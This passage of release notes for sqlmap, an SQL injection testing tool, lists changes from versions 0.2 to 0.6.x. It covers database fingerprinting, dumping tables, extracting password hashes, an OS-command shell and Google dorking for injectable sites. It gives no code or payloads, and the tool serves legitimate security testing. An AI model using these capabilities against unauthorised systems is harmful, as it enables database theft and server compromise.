* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is provided;
* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
# Version 0.6.2 (2008-11-02)
* Major bug fix to correctly dump tables entries when `--stop` is not specified;
* Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0;
* Major bug fix when the request is POST to also send the GET parameters if any have been provided;
* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`;
* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database;
* Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warning messages.
# Version 0.6.1 (2008-08-20)
* Major bug fix to blind SQL injection bisection algorithm to handle an exception;
* Added a Metasploit Framework 3 auxiliary module to run sqlmap;
* Implemented possibility to test for and inject also on LIKE statements;
* Implemented `--start` and `--stop` options to set the first and the last table entry to dump;
* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool;
* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes;
* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore;
* Minor bug fix to correctly handle parameters' value with `%` character.
# Version 0.6 (2008-09-01)
* Complete code refactor and many bugs fixed;
* Added multithreading support to set the maximum number of concurrent HTTP requests;
* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack;
* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator;
* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file;
* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option;
* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages;
* Created sqlmap .exe (Windows) portable executable;
* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times;
* Improved automatic check for parenthesis when testing and forging SQL query vector;
* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable;
* Implemented support for HTTPS requests over HTTP(S) proxy;
* Added a check to handle NULL or not available queries output;
* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks;
* Improved XML files structure;
* Implemented the possibility to change the HTTP Referer header;
* Added support to resume from session file also when running with inband SQL injection attack;
* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root;
* Added a check to assure that the provided string to match (`--string`) is within the page content;
* Fixed various queries in XML file;
* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it;
* Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function;
* Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable;
* Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic;
* Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires;
* Added support to inject also on Set-Cookie parameters;
* Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`;
* Renamed some command line options;
* Added a conversion library;
* Added code schema and reminders for future developments;
* Added Copyright comment and $Id$;
* Updated the command line layout and help messages;
* Updated some docstrings;
* Updated documentation files.
# Version 0.5 (2007-11-04)
* Added support for Oracle database management system
* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins;
* Added support to extract database users password hash on Microsoft SQL Server;
* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind();
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
* Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped;
* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py;
* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`);
* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces;
* More minor layout enhancements in some libraries;
* Renamed DMBS plugins;
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
* Updated all documentation files.
# Version 0.4 (2007-06-15)
* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS;
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <https://sqlmap.org/dev/>;
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
* Improved logging functionality: passed from banal 'print' to Python native logging library;
* Added support for more than one parameter in `-p` command line option;
* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`);
* Added the command line option `--remote-dbms` to manually specify the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements;
* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`);
* Added support to specify the database table column to enumerate (`-C COL`);
* Added inband SQL injection (UNION query) support (`--union-use`);
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
* Reviewed the directory tree structure;
* Split lib/common.py: inband injection functionalities now are moved to lib/union.py;
* Updated documentation files.
# Version 0.3 (2007-01-20)
* Added module for MS SQL Server;
* Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check;
* Added PostgreSQL dbms active fingerprint;
* Added support for string match (`--string`);
* Added support for UNION check (`--union-check`);
* Removed duplicated code, delegated most of features to the engine in common.py and option.py;
* Added support for `--data` command line argument to pass the string for POST requests;
* Added encodeParams() method to encode url parameters before making http request;
* Many bug fixes;
* Rewritten documentation files;
* Complete code restyling.
# Version 0.2 (2006-12-13)
* complete refactor of entire program;
* added TODO and THANKS files;
* added some papers references in README file;
* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header;
* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions;
* replaced old inference algorithm with a new bisection algorithm.
* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter;
* improved Common class, adding support for http proxy and http post method in hash_page;
* added OptionCheck class in option.py which performs all needed checks on command line parameters and values;
* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters;
* improved output methods in dump.py;
* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions.

Some files were not shown because too many files have changed in this diff Show More